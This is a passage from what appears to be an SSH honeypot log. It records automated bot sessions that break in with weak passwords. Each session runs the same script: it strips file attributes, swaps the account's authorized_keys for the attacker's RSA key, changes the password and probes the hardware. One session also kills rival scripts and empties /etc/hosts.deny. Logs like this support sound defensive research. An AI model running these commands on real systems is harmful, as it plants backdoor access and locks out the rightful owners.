Processor"},{"seq":9,"at":"2026-08-27T11:56:23.467742+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:56:24.643276+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:56:25.089144+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:56:26.052119+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:56:26.495019+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:56:26.977489+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:56:27.435658+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:56:28.060383+00:00","kind":"output","latency_ms":null,"data":" 11:56:28 up 7 days, 8:46, 0 user, load average: 0.09, 0.11, 0.1\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:56:28.504655+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:56:29.166949+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:56:29.606174+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:56:30.273700+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:56:30.715918+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:56:31.092232+00:00","kind":"output","latency_ms":null,"data":"top - 11:56:31 up 7 days, 8:46, 0 user, load average: 0.09, 0.11, 0.1\nTasks: 129 total, 1 running, 128 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:56:31.536205+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:56:32.277355+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:56:32.718225+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:56:33.088919+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:56:33.533828+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:56:34.383734+00:00","kind":"output","latency_ms":null,"data":"frappe"},{"seq":29,"at":"2026-08-27T11:56:34.824991+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:56:35.729691+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:56:36.171472+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:56:37.272018+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"frappe","password":"frappe@1234","method":"password","accepted":true,"tier":"other"}]} {"id":"49ccb497-05db-4148-8304-2c5d508b062b","name":"curious-obsidian-bluebird","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":60504,"username":"tempuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":297,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:56:00.052498+00:00","ended_at":"2026-08-27T11:56:01.489475+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2187,"events":[{"seq":1,"at":"2026-08-27T11:55:43.234672+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:55:43.531075+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:55:47.307281+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:55:47.569621+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:55:47.868130+00:00","kind":"input","latency_ms":null,"data":"echo -e \"admin\\ngaHpfDuqFiv5\\ngaHpfDuqFiv5\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:55:48.162496+00:00","kind":"input","latency_ms":null,"data":"echo \"admin\\ngaHpfDuqFiv5\\ngaHpfDuqFiv5\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:55:48.457725+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:55:48.735696+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:55:49.033176+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:55:49.980179+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:55:50.279221+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:55:51.249390+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:55:51.546503+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:55:52.275449+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:55:52.570756+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:55:53.088440+00:00","kind":"output","latency_ms":null,"data":" 11:55:53 up 7 days, 8:46, 0 user, load average: 0.16, 0.15, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:55:53.383649+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:55:53.930624+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:55:54.227019+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:55:54.648215+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:55:54.946690+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:55:55.722672+00:00","kind":"output","latency_ms":null,"data":"top - 11:55:55 up 7 days, 8:46, 0 user, load average: 0.16, 0.15, 0.17\nTasks: 104 total, 1 running, 103 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7308 free, 8579 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:55:56.014464+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:55:56.914617+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:55:57.209922+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:55:57.549271+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:55:57.844622+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:55:58.604264+00:00","kind":"output","latency_ms":null,"data":"tempuser"},{"seq":29,"at":"2026-08-27T11:55:58.900851+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:55:59.756207+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:56:00.053486+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:56:01.405296+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"tempuser","password":"admin","method":"password","accepted":true,"tier":"other"}]} {"id":"88eaab01-6b19-4586-ab2b-498b94696841","name":"glacial-lonesome-pochard","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":53458,"username":"cps","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":327,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:55:59.814215+00:00","ended_at":"2026-08-27T11:56:01.897737+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2169,"events":[{"seq":1,"at":"2026-08-27T11:55:39.941454+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:55:40.269480+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:55:43.376641+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:55:45.578085+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:55:45.905081+00:00","kind":"input","latency_ms":null,"data":"echo -e \"cps123\\neYPIsB5EwN9D\\neYPIsB5EwN9D\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:55:46.237306+00:00","kind":"input","latency_ms":null,"data":"echo \"cps123\\neYPIsB5EwN9D\\neYPIsB5EwN9D\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:55:46.562098+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:55:47.105201+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:55:47.431421+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:55:48.524062+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:55:48.853965+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:55:49.678166+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:55:50.007175+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:55:50.547055+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:55:51.184861+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:55:52.023200+00:00","kind":"output","latency_ms":null,"data":" 11:55:52 up 7 days, 8:45, 0 user, load average: 0.1, 0.12, 0.1\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:55:52.351318+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:55:52.960473+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:55:53.290716+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:55:54.116673+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:55:54.443913+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:55:55.176160+00:00","kind":"output","latency_ms":null,"data":"top - 11:55:55 up 7 days, 8:46, 0 user, load average: 0.1, 0.12, 0.1\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:55:55.503183+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:55:55.882196+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:55:56.208459+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:55:56.844600+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:55:57.170673+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:55:57.997450+00:00","kind":"output","latency_ms":null,"data":"cps"},{"seq":29,"at":"2026-08-27T11:55:58.324653+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:55:59.489171+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:55:59.815136+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:56:01.800696+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"cps","password":"cps123","method":"password","accepted":true,"tier":"other"}]} {"id":"4d5d54b5-edc6-428e-9c7d-75a731c96b29","name":"wistful-patient-cassowary","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":51392,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":261,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:55:38.100034+00:00","ended_at":"2026-08-27T11:55:40.302328+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T11:55:11.319860+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:55:11.579013+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:55:15.916306+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:55:16.607033+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:55:16.870700+00:00","kind":"input","latency_ms":null,"data":"echo \"root:2wOORic8zhKA\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:55:17.128265+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:55:17.386767+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:55:18.955181+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:55:19.222714+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:55:20.908142+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:55:21.169862+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:55:23.102230+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:55:23.363262+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:55:24.409833+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:55:24.670536+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:55:26.653870+00:00","kind":"output","latency_ms":null,"data":" 11:55:26 up 7 days, 8:45, 0 user, load average: 0.04, 0.03, 0.04\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:55:26.914283+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:55:28.336896+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:55:28.598129+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:55:28.923972+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:55:29.183848+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:55:30.737827+00:00","kind":"output","latency_ms":null,"data":"top - 11:55:30 up 7 days, 8:45, 0 user, load average: 0.04, 0.03, 0.04\nTasks: 104 total, 1 running, 103 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7944 free, 7944 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:55:31.004727+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:55:33.030954+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:55:33.293059+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:55:35.490646+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:55:35.750971+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:55:36.491806+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:55:36.753587+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:55:37.842245+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:55:38.100714+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:55:40.226717+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"123456@qwerty","method":"password","accepted":true,"tier":"other"}]} {"id":"8dde47fb-39c4-4a49-b66c-fade3d342879","name":"blazing-barren-pipit","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":40608,"username":"admin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":746,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:54:33.356037+00:00","ended_at":"2026-08-27T11:54:34.786889+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2254,"events":[{"seq":1,"at":"2026-08-27T11:54:03.164962+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:54:04.185068+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:54:10.233628+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:54:11.013897+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:54:11.739579+00:00","kind":"input","latency_ms":null,"data":"echo -e \"abcd1234\\nhGKYVm2m88s0\\nhGKYVm2m88s0\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:54:12.465873+00:00","kind":"input","latency_ms":null,"data":"echo \"abcd1234\\nhGKYVm2m88s0\\nhGKYVm2m88s0\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:54:13.190880+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:54:14.080524+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:54:14.833745+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:54:15.808944+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:54:17.251156+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:54:18.694849+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:54:19.656556+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:54:20.324455+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:54:21.055478+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:54:21.436265+00:00","kind":"output","latency_ms":null,"data":" 11:54:21 up 7 days, 8:44, 0 user, load average: 0.12, 0.1, 0.08\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:54:22.182438+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:54:22.443763+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:54:24.777365+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:54:25.042490+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:54:25.778185+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:54:26.546722+00:00","kind":"output","latency_ms":null,"data":"top - 11:54:26 up 7 days, 8:44, 0 user, load average: 0.12, 0.1, 0.08\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7944 free, 7944 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 